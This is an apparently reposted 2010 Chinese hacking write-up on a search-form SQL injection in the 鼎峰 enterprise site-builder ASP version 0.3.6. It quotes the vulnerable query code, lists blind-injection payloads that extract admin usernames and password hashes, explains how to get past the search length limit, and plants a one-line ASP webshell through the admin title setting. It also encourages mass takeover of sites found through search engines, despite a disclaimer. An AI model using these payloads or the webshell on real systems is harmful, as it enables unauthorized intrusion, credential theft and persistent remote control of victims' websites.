热门标签 | HotTags
当前位置:  开发笔记 > 前端 > 正文

鼎峰企业智能建站系统搜索注入漏洞

发布日期:2010-04-18发布作者:莫ㄨ问影响版本:鼎峰企业智能建站系统ASP版V0.3.6漏洞描述:昨天利用这个系统拿了一个webshell,但是是利用下载默认数据库的,后面发现者这套系统界面搞得还不错,就顺便看下它的安全性了。本文就其搜索注入漏洞简单分

发布日期:2010-04-18  
发布作者:莫ㄨ问   
影响版本:鼎峰企业智能建站系统ASP版 V0.3.6
漏洞描述: 
 

昨天利用这个系统拿了一个webshell,但是是利用下载默认数据库的,后面发现者这套系统界面搞得还不错,就顺便看下它的安全性了。本文就其搜索注入漏洞简单分析和利用,及批量拿shell。


一.  简单分析


漏洞文件:zm_search.asp代码如下

t=Request.Form("t")
key=Request.Form("key")

if t="" or key="" then
  Response.Write("")
  Response.End()
end if

if t=1 then
  sql="select * from Zm_Product where name like '%"&key&"%' order by ord asc,id desc"
  menuname="搜索产品"
else
  sql="select * from Zm_News where title like '%"&key&"%' order by  ord asc,id desc"
  menuname="搜索新闻"
end if

对表单中变量t和key直接获取,只判断是否为空,不为空就带入查询,这就造成了搜索型注入漏洞。
这里照顾下新手:
学习下SQL数据查询中WHERE子句使用Like操作符的知识,Like操作符所起的作用就是模糊查询,要使用Like进行模糊查询必须还要配合通配符才能完成,"%"就是Like操作符中的一种通配符,它代表零个或多个任意字符,为了大家理解,为大家举了一些例子:
Like "黑客%" 返回以黑客开始的任意字符
Like "%黑客" 返回以黑客结尾的任意字符
Like "%黑客%" 返回以包含黑客的任意字符
我们打开一个网站,在搜索框里输入关键字' and 1=1 and '%'='关键字就为"黑帽"吧,点搜索,结果返回与黑帽有关的资料,即语句 黑客' and 1=1 and '%'=',就属于正常,后面在输入语句黑客' and 1=2 and '%'=' 没有找到相关资料。当然这里注意,这个关键字是要能够找到文章的。

二、 漏洞利用


原理知道了,我们构造一下注入语句,这里我们以搜索“鼎峰”这个关键字,鼎峰所有是可以搜索到内容的,记住这里一定要可以搜索到否则后面很难分辨。我们在回到原来的首页搜索输入如下语句:(构造的时候要注意闭合前后%和单引号)
鼎峰%' and 1=1 and '%'='           -----------------语句1
可是无法输入全部代码,看来限制了搜索长度,打开发现最大是20个字符,在看下代码发现它是将search。Asp提交给zm_search.asp处理。这样我们就可以自己写个表单给t和key赋值来突破长度限制。代码就不给了,很简单大家自己写下。把表单action值设置成http://url/search.asp不能提交给zm_search.asp,不清楚的自己去下个代码来看。好了,输入语句1 图我就不配了转发的 有外联的!

 

在一次改变表单中1=1的内容就可以了猜解出来,这里照顾新手,我列出语句并注释作用:

语句1:鼎峰%' and 1=1 and '%'='        ;1=1返回找到一个,即正常
语句2:鼎峰%' and 1=1 and '%'='        ;1=2显然不成立,找不到任何文章,即返回异常
语句3:鼎峰%' and  1<(select count(*) from zm_admin) and '%'='  ;判断管理员的人数是否大于1
语句4:鼎峰%' and (select count(name) from zm_admin)>0 and '%'=' ;判断是否存在表段name,通过查看数据库我们可以直接知道存在的。
语句5:鼎峰%' and (select top 1 asc(mid(name,1,1)) from zm_admin)>96  and '%'=' ;
功能:判断name表段第一个用户名的name的第一个字符的ascii码是否大于96,即是否等于a
同理可以把语句5的中的name字段换成password字段,同样的方法来才接密码md5散列。
当然这种注入用工具也可以扫描出来,但是需要自己添加字段,另外关键词也自己加一个可以搜索到信息的。这里我推荐NBSI和HDSI这两款工具,很简单这里就不演示了。Ok了
 

三、  后台拿webshell
注入可以得到管理员的密码,那么进入后台看看默认地址:Manage/login.asp 这里简单利用R()函数过滤掉了单引号,万能密码没戏了。直接用注入拿到管理密码登陆。在网站配置标题直接写入一句话木马,不过这里要注意闭合语句,构造如下:

1"%><%execute(request("cmd"))%><%'
插马成功,如图3:
[localfile=4]

Ok了。百度搜下就可以批量拿webshell了,这里不说大家自己发挥,不要用于非法用途。当然这里系统还有很多问题,有兴趣的朋友可以继续挖掘。
本文到此结束,在此申明本文只作技术交流学习,不得用于非法用途,否则后果自负。
文中难免有错,有疑问的可以联系我www.awolf07.cn或者http://forum.bhst.org


提交的htm表单,比较简单,呵呵..不然有朋友说我忽悠人.


http://localhost/search.asp">
  类型:
 
 


    内容:
     
 


 


   
 



图片附件(缩略图):

 


推荐阅读
  • 本文介绍了互联网思维中的三个段子,涵盖了餐饮行业、淘品牌和创业企业的案例。通过这些案例,探讨了互联网思维的九大分类和十九条法则。其中包括雕爷牛腩餐厅的成功经验,三只松鼠淘品牌的包装策略以及一家创业企业的销售额增长情况。这些案例展示了互联网思维在不同领域的应用和成功之道。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 分享css中提升优先级属性!important的用法总结
    web前端|css教程css!importantweb前端-css教程本文分享css中提升优先级属性!important的用法总结微信门店展示源码,vscode如何管理站点,ubu ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 本文介绍了adg架构设置在企业数据治理中的应用。随着信息技术的发展,企业IT系统的快速发展使得数据成为企业业务增长的新动力,但同时也带来了数据冗余、数据难发现、效率低下、资源消耗等问题。本文讨论了企业面临的几类尖锐问题,并提出了解决方案,包括确保库表结构与系统测试版本一致、避免数据冗余、快速定位问题等。此外,本文还探讨了adg架构在大版本升级、上云服务和微服务治理方面的应用。通过本文的介绍,读者可以了解到adg架构设置的重要性及其在企业数据治理中的应用。 ... [详细]
  • 本文详细介绍了在ASP.NET中获取插入记录的ID的几种方法,包括使用SCOPE_IDENTITY()和IDENT_CURRENT()函数,以及通过ExecuteReader方法执行SQL语句获取ID的步骤。同时,还提供了使用这些方法的示例代码和注意事项。对于需要获取表中最后一个插入操作所产生的ID或马上使用刚插入的新记录ID的开发者来说,本文提供了一些有用的技巧和建议。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • 众筹商城与传统商城的区别及php众筹网站的程序源码
    本文介绍了众筹商城与传统商城的区别,包括所售产品和玩法不同以及运营方式不同。同时还提到了php众筹网站的程序源码和方维众筹的安装和环境问题。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • HTML5网页模板怎么加百度统计?
    本文介绍了如何在HTML5网页模板中加入百度统计,并对模板文件、css样式表、js插件库等内容进行了说明。同时还解答了关于HTML5网页模板的使用方法、表单提交、域名和空间的问题,并介绍了如何使用Visual Studio 2010创建HTML5模板。此外,还提到了使用Jquery编写美好的HTML5前端框架模板的方法,以及制作企业HTML5网站模板和支持HTML5的CMS。 ... [详细]
author-avatar
语笑嫣然小公主155
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有